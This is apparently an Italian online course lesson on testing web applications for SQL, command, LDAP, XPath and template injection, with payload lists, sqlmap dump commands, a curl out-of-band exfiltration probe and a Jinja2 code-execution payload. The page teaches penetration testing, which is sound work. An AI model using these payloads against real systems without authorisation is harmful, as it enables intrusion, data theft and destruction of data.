Test delle vulnerabilità di injection
Utilizzate SQLMap, payload manuali e Burp per testare injection SQL, di comandi e LDAP.
Test delle vulnerabilità di injection è una lezione Cyber Security Academy gratuita su CoddyKit. Questa è la lezione 2 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Cyber Security Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Cyber Security Academy include 4 lezioni in totale.
Classi di vulnerabilità di injection
Una vulnerabilità di injection si verifica quando dati non attendibili vengono inviati a un interprete come parte di un comando o di una query. L'interprete non riesce a distinguere i dati dai comandi ed esegue una logica controllata dall'attaccante. SQL injection, command injection, LDAP injection, XPath injection e template injection appartengono tutte a questa classe.
SQL injection: test manuali
Inizi con payload semplici per verificare la presenza di SQL injection. Una virgoletta singola provoca un errore di sintassi SQL nelle applicazioni vulnerabili. Controlli i messaggi di errore, le differenze nella lunghezza delle risposte e i tempi di risposta.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap per la SQLi automatizzata
SQLMap automatizza il rilevamento e lo sfruttamento della SQL injection: rileva i punti di injection, identifica il DBMS e può scaricare database, leggere file e ottenere l'esecuzione di codice a livello di sistema operativo sui sistemi vulnerabili.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpTest della command injection
La command injection si verifica quando l'input dell'utente viene passato alle funzioni della shell del sistema operativo. Esegua i test con i metacaratteri della shell: punti e virgola, pipe, backtick e la sostituzione di comando $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAP injection
La LDAP injection manipola le query LDAP utilizzate per l'autenticazione e le ricerche nelle directory. Testi i campi di autenticazione con: *)(uid=*))(|(uid=* per aggirare i filtri.
XPath injection
La XPath injection prende di mira i sistemi di autenticazione basati su XML. È simile alla SQLi: i payload manipolano le query XPath, ad esempio ' or '1'='1, per aggirare l'autenticazione.
Template injection (SSTI)
La Server-Side Template Injection si verifica quando l'input dell'utente viene renderizzato in un motore di template (Jinja2, Twig, Freemarker). Per rilevarla, inserisca {{7*7}}: se la risposta mostra 49, esiste una vulnerabilità SSTI.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Utilizzo di Burp per i test di injection
Invii le richieste a Repeater e inserisca manualmente i payload in ogni parametro. Utilizzi Intruder per automatizzare il fuzzing con wordlist per l'injection (SecLists contiene eccellenti payload per l'injection).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Rilevamento delle injection blind
Quando non è presente alcun output visibile, utilizzi: ritardi temporali per confermare l'esecuzione, callback DNS fuori banda (Burp Collaborator o interactsh) e risposte basate su valori booleani (variazioni nella lunghezza del contenuto).
Lettura dei messaggi di errore dell'applicazione
Gli errori dettagliati rivelano il tipo di database, la struttura delle query e i percorsi dei file, informazioni preziose per creare payload precisi. Accanto ai payload normali, verifichi sempre il comportamento con input che attivino il debug o rivelino gli errori.
Riferimento alla prevenzione
La injection si previene utilizzando query parametrizzate (SQLi), validazione dell'input ed escaping della shell (command injection), oltre a evitare il rendering dell'input dell'utente nei template (SSTI). Gli sviluppatori devono comprenderne i meccanismi per scrivere codice sicuro.
Verifica rapida
Che cosa conferma il payload di rilevamento SSTI {{7*7}} quando la risposta mostra 49?
Riepilogo: test delle injection
Le vulnerabilità di injection sono causate dalla combinazione di dati e comandi. Testi ogni input controllato dall'utente con payload di SQL injection, command injection, template injection e LDAP injection. Utilizzi SQLMap per automatizzare la SQL injection, Burp Repeater per i test manuali e tecniche basate su ritardi temporali o OOB per lo sfruttamento blind. Documenti sempre i payload e le relative prove nel report.
Domande Frequenti
La lezione «Test delle vulnerabilità di injection» è gratuita?
Sì — il testo completo di «Test delle vulnerabilità di injection» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Cyber Security Academy, passa a CoddyKit PRO. Il corso Cyber Security Academy include 4 lezioni in totale.
Cosa imparerò in «Test delle vulnerabilità di injection»?
Utilizzate SQLMap, payload manuali e Burp per testare injection SQL, di comandi e LDAP. Eserciti Cyber Security Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.
Ho bisogno di esperienza per iniziare Cyber Security Academy?
Non è richiesta alcuna esperienza precedente. Cyber Security Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 2 di 4.
Quanto tempo richiede la lezione «Test delle vulnerabilità di injection»?
La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.
Posso scrivere ed eseguire codice in questa lezione Cyber Security Academy?
Sì. Ogni lezione Cyber Security Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.
Tutte le lezioni di questo corso
- Proxy di Burp Suite e intercettazione delle richieste
- Test delle vulnerabilità di injection
- Test di autenticazione e sessione
- Vulnerabilità di caricamento file e SSRF